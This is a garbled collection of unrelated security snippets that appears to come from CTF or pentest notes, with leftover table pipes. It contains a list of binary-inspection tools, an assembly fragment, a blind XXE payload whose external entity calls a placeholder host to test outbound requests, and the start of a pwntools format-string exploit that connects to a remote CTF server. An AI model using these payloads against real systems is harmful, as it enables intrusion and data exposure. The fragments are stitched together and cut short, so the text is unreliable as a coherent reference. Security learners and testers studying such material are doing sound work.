Required tools for playing around with memory:
hexdump
objdump
readelf
xxd
gcore
global _start | |
section .data | |
aa db '1234567890a',0 | |
len equ $-aa | |
section .text | |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
from pwn import * | |
from libformatstr import * | |
file = ELF("./32_new") | |
flag = 0x0804870b | |
r = remote("163.172.176.29",9035) | |
r.recvuntil("name?") |